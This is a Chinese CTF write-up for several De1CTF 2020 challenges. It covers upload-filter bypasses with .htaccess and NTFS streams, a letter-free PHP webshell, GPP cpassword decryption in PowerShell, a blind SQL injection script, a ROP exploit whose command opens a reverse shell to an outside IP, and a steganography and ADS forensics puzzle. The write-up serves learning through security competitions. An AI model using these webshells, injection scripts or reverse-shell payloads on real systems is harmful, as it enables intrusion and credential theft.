这个比赛太考工作量,个人感觉知识量也比较大,另外De1ta的师傅们原来这么爱玩MC啊🤔,写一下几个题的题解,主要记录一下学到的东西。
check in 考察上传绕过,一是在上传.htaccess
时对关键字进行绕过,二是在传马时对<?php
进行绕过
解题 打开题目,随便上传个php
的小马,回显如下:
php的后缀既然不行,那应该就是图片马了,八成是要用.htaccess
解析,看一下响应头中服务器的架构:Apache/2.4.6 (CentOS) PHP/5.4.16
,基本是确实是传.htaccess
了
构造.htaccess
将jpg
进行解析:
AddType application /x-httpd-php .jpg
上传之后回显如下:
perl|pyth |ph |auto |curl |base |> |rm |ruby |openssl |war |lua |msf |xter |telnet
这些字段被ban了,不过.htaccess
中可以用python换行时候一种解析语法:
AddType application/x-httpd-p\ hp .jpg
上传的时候注意改Content-Type
,如图:
如此便可以成功上传,然后传jpg
的图片马就行了,注意图片马里的<?php
标签也需要绕过,可以用<?=
,如下图:
上传小马之后,拿到文件路径,传system("cat /flag");
即可拿到flag。
Hard_present_1 考察文件上传利用NTFS流绕过文件名检测、无字母数字shell构造、域渗透
题目分析 进入题目,给出如下源码:
<?php highlight_file(__FILE__ ); $sandbox = "uploads/" . md5("De1CTF2020" .$_SERVER['REMOTE_ADDR' ]); @mkdir($sandbox); @chdir($sandbox); if ($_POST["submit" ]){ if (($_FILES["file" ]["size" ] < 2048 ) && Check()){ if ($_FILES["file" ]["error" ] > 0 ){ die ($_FILES["file" ]["error" ]); } else { $filename=md5($_SERVER['REMOTE_ADDR' ])."_" .$_FILES["file" ]["name" ]; move_uploaded_file($_FILES["file" ]["tmp_name" ], $filename); echo "save in:" . $sandbox."/" . $filename; } } else { echo "Not Allow!" ; } } function Check () { $BlackExts = array ("php" ); $ext = explode("." , $_FILES["file" ]["name" ]); $exts = trim(end($ext)); $file_content = file_get_contents($_FILES["file" ]["tmp_name" ]); if (!preg_match('/[a-z0-9;~^`&|]/is' ,$file_content) && !in_array($exts, $BlackExts) && !preg_match('/\.\./' ,$_FILES["file" ]["name" ])) { return true ; } return false ; } ?>
审计一下发现文件名处有过滤,并且上传的文件中不能包含数字
、小写字母
、;
、~
、^
、&
、|
、反引号
等,根据这个规则,肯定需要构造无数字字母的shell了,之前看过p神的一篇文章 讲过,不过这里由于;
也被过滤,需要用短标签
来绕过。
BP抓包发现服务器是Windows server
,这种情况下的文件上传可以利用NTFS
的DATA
特性进行绕过,参考这里 用NTFS特性和无数字字母shell绕过限制上传,组策略泄露密码。
成功拿到shell之后,在服务器上找到了flag的压缩包,解压需要密码,这里考了一种域渗透,利用SYSVOL还原组策略中保存的密码,参考这篇文章 。
解题思路很明确了:利用NTFS特性和无数字字母shell绕过限制上传,组策略泄露密码。
解题 结合p神那篇文章里给出的shell构造方法,对其进行短标签拼接之后,shell脚本如下(由hpdoger师傅提供):
<? =$_=[]?> <? =$_=@"$_" ?> <? =$_=$_['!' =='@' ]?> <? =$__=$_?> <? =$____='_' ?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$___=$__?> <? =$__=$_?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$___.=$__?> <? =$__=$_?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$___.=$__?> <? =$__=$_?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$___.=$__?> <? =$__=$_?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$___.=$__?> <? =$__=$_?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$___.=$__?> <? =$__=$_?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$____.=$__?> <? =$__=$_?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$____.=$__?> <? =$__=$_?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$____.=$__?> <? =$__=$_?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$__++?> <? =$____.=$__?> <? =$_=$$____?> <? =$___($_[_])?>
需要注意一点:assert
和eval
在php7.2不属于函数,因此构造system
。
利用NTFS的DATA
特性绕过过滤上传小马,成功拿到shell:
利用这个shell,再传一个普通shell上去:
_=echo ^<?php eval ($_POST[a]); > ma.php
查看一下是否成功写入:
成功写入普通shell,蚁剑连接即可,在Hint
目录下发现疑似flag的压缩包:
压缩包下载出来之后需要密码,终端net user /domain
看到存在HintZip_Pass
用户,显然,这个用户密码应该就是压缩包的密码了,下面就需要进行域渗透了。
终端net use
获取到如下信息:
看到SYSVOL
组策略的存在,读取其Groups.xml
,内容如下:
<?xml version="1.0" encoding="utf-8"?> <Groups clsid ="{3125E937-EB16-4b4c-9934-544FC6D24D26}" > <User clsid ="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name ="HintZip_Pass" image ="2" changed ="2020-04-15 14:43:23" uid ="{D33537C1-0BDB-44B7-8628-A6030A298430}" > <Properties action ="U" newName ="" fullName ="" description ="" cpassword ="uYgjj9DCKSxqUp7gZfYzo0F6hOyiYh4VmYBXRAUp+08" changeLogon ="1" noChange ="0" neverExpires ="0" acctDisabled ="0" userName ="HintZip_Pass" /> </User > </Groups >
其中的cpassword="uYgjj9DCKSxqUp7gZfYzo0F6hOyiYh4VmYBXRAUp+08"
就是该用户的密码,不过是经过AES加密的,参考域渗透那篇文章里的解密ps
脚本:
function Get-DecryptedCpassword { [CmdletBinding ()] Param ( [string ] $Cpassword ) try { $Mod = ($Cpassword .length % 4 ) switch ($Mod ) { '1' {$Cpassword = $Cpassword .Substring(0 ,$Cpassword .Length -1 )} '2' {$Cpassword += ('=' * (4 - $Mod ))} '3' {$Cpassword += ('=' * (4 - $Mod ))} } $Base64Decoded = [Convert ]::FromBase64String($Cpassword ) $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider [Byte []] $AesKey = @ (0 x4e,0 x99,0 x06,0 xe8,0 xfc,0 xb6,0 x6c,0 xc9,0 xfa,0 xf4,0 x93,0 x10,0 x62,0 x0f,0 xfe,0 xe8, 0 xf4,0 x96,0 xe8,0 x06,0 xcc,0 x05,0 x79,0 x90,0 x20,0 x9b,0 x09,0 xa4,0 x33,0 xb6,0 x6c,0 x1b) $AesIV = New-Object Byte[]($AesObject .IV.Length) $AesObject .IV = $AesIV $AesObject .Key = $AesKey $DecryptorObject = $AesObject .CreateDecryptor() [Byte []] $OutBlock = $DecryptorObject .TransformFinalBlock($Base64Decoded , 0 , $Base64Decoded .length) return [System.Text.UnicodeEncoding ]::Unicode.GetString($OutBlock ) } catch {Write-Error $Error [0 ]} } Get-DecryptedCpassword "uYgjj9DCKSxqUp7gZfYzo0F6hOyiYh4VmYBXRAUp+08"
或者到这里 下载开源的解密脚本
用命令跑解密脚本powershell.exe -executionpolicy bypass -file get-DecryptedCpassword.ps1
成功拿到密码,解密即可拿到flag以及下一题的提示:
flag1: De1CTF{GpP_11Is_SoOOO_Ea3333y} Get flag2 Hint: hint1: You need De1ta user to get flag2 hint2: De1ta user's password length is 1-8, and the password is composed of [0-9a-f]. hint3: Pay attention to the extended rights of De1ta user on the domain. hint4: flag2 in Domain Controller (C:\Users\Administrator\Desktop\flag.txt) PS: Please do not damage the environment after getting permission, thanks QAQ.
这道题学会了不少,Windows Server下的NTFS文件上传绕过、域渗透,在之前做过的题里很少见。
Hard_Pentest_2 域渗透-利用资源约束委派进行提权
Mixture 一道web+pwn题,这题是队里的大师傅们做的,我就摸鱼偷学点知识。
解题 首先利用benchmark
注出admin的密码,从师傅那里漂到脚本学习了一番:
import requestsstring = '' session = requests.Session() headers= { "Cookie" :"PHPSESSID=g6u5esdng9h7a2ei3m93srf0mp" } for i in range(1 ,100 ): for j in range(32 ,128 ): url = "http://134.175.185.244/member.php?orderby=,ISNULL(CASE WHEN (ascii(substr((select password from member where id=1),{0},1))={1}) THEN BENCHMARK(2000000,SHA1(123)) ELSE 2 END)" .format(i,j) r=session.get(url,headers = headers,cookies = cookies) sec=r.elapsed.seconds if sec > 3 : string += chr(j) print(chr(j)) break print(string)
后面发现有个Mininclude
,后面就是pwn的了,从大师傅那里拿到的源码,仔细读读,真的不会…
import requestsimport sysimport osfrom pwn import *from Crypto.Util.number import *s = requests.Session() headers= { "Cookie" :"PHPSESSID=g6u5esdng9h7a2ei3m93srf0mp" } php_base = 0x7f546c3f7000 libc_base = 0x7f546eacb000 minclude_base = 0x7f546d84a000 INITIAL = 1526 - 9 def main () : global INITIAL, php_base, minclude_base, libc_base if len(sys.argv) < 2 : print('usage: {} path' .format(sys.argv[0 ])) return exp = False debug = False filename = sys.argv[1 ] if filename == 'exp' or filename == 'debug' : if filename == 'debug' : debug = True php_base = 0x7f40b6ec3000 minclude_base = 0x7f40b6eba000 libc_base = 0x7f40b7fa0000 orig_ret = 0x7f546d151ac0 pop_rdi = php_base + 0x000000000014b260 php_info = 0x47bd10 - 0x100000 + php_base ret = php_base + 0x14b261 jmp_rdi = php_base + 0x000000000019f729 if debug: mov_to_rdi = 0x00000000000494ea + libc_base else : mov_to_rdi = 0x00000000000494e5 + libc_base pop_pop = 0x000000000000135e + minclude_base pop_rsi = 0x000000000002440e + libc_base exp = True system = libc_base + 0x449c0 halt = p64(pop_rdi) + p64(jmp_rdi) + p64(jmp_rdi) def write (addr, val) : assert len(val) == 8 return p64(pop_rdi) + p64(addr) + p64(pop_rsi) + val + p64(mov_to_rdi) area = minclude_base + 0x4000 cmd = b"php -r '$sock=fsockopen(\"118.178.180.118\",52333);exec(\"/bin/sh -i <&3 >&3 2>&3\");'" cur = 0 rop = b'' buf = cmd[:8 ] rop += write(area, buf) cur += 8 buf = cmd[8 :16 ] rop += write(area + 8 , buf) cur += 8 rop += p64(pop_pop) rop += p64(0xdeadbeef ) rop += p64(0xdeadbeef ) while cur < len(cmd): buf = cmd[cur: cur+8 ] if len(buf) != 8 : buf = buf.ljust(8 , b'\0' ) rop += write(area + cur, buf) cur += 8 rop += p64(pop_rdi) rop += p64(area) rop += p64(system) rop += halt filename = b'a' * (0x88 ) + rop INITIAL += len(filename) if len(sys.argv) == 3 : save_filename = sys.argv[2 ] else : save_filename = os.path.basename(filename) data = { "search" :filename, "submit" :"submit" } if debug: url = "http://localhost:51111/select.php" else : url = "http://134.175.185.244/select.php" r = requests.post(url, data=data, headers=headers) if not exp: f = open(save_filename, "wb" ) f.write(r.content[INITIAL:]) f.close() else : print(r.content) if __name__ == '__main__' : main()
这题就先放一下把,需要慢慢消化。
Misc Chowder 考察流量审计、压缩包密码爆破、NTFS流隐藏文件
知识扩展 参考关于NTFS数据流及文件隐藏 :
NTFS交换数据流(alternate data streams,简称ADS)是NTFS磁盘格式的一个特性,在NTFS文件系统下,每个文件都可以存在多个数据流,就是说除了主文件流之外还可以有许多非主文件流寄宿在主文件流中。它使用资源派生来维持与文件相关的信息,虽然我们无法看到数据流文件,但是它却是真实存在于我们的系统中的。创建一个数据交换流文件的方法很简单,命令为“宿主文件:准备与宿主文件关联的数据流文件”。
利用这种数据流关联的方式,即可将一个文件的数据流关联到另一个文件上,这种方式下,目录下直接dir
是看不到被关联的数据流的(当然被关联的原始文件肯定不在这个文件夹下),即实现了隐藏,不过dir /r
可以将其列举出来。
解题 拿到题目,是一个流量包,流量审计发现进行了多次upload,利用wireshark导出HTTP对象
可以将上传的文件导出:
在导出HTTP对象时,可以看到有7次upload的动作,每一组包含两个可导出的对象upload_file.php
,注意观察,两个对象里一个是multipart/form-data
一个是text/html
的,显然前者是包含上传文件的数据的,将其导出,导出之后直接打开发现是上传文件时候的包数据,而不是php代码:
而且显然,图片的数据就在其中,那就简单了,010editor将数据处理下,只保留图片数据,再改后缀就行了嘛
一个资源的url,访问可以下载到一个docx
的压缩包,解压打开是这个样子…
考虑到之前有的docx文件会隐藏压缩包,拖到解压工具里看看,还真有
但是需要密码,到这一步,题目也给出Hint:压缩包密码暴破考点中,密码的长度为6位,前两位为DE
那就掩码爆破呗,上ARCHPR
,设置成掩码模式,开始跑~
拿到密码~
解压之后发现还是一张图,套娃了。。。
不过这个图拖到解压工具里又可以看到三个文件:
flag.txt
里的文件是假的,但是只要三个文件,图片中又提示I AM FLAG
,试了其他办法也不行… 后来了解到,可能是利用了NTFS
数据流来隐藏flag了,Windows下列举解压出的目录试试:
果然存在隐藏的NTFS流,将fffffffflllll.txt
的内容关联到了666.jpg
里,这样,其实用notepad读取666.jpg:fffffffflllll.txt
就可以了
成长路上,要学的还很多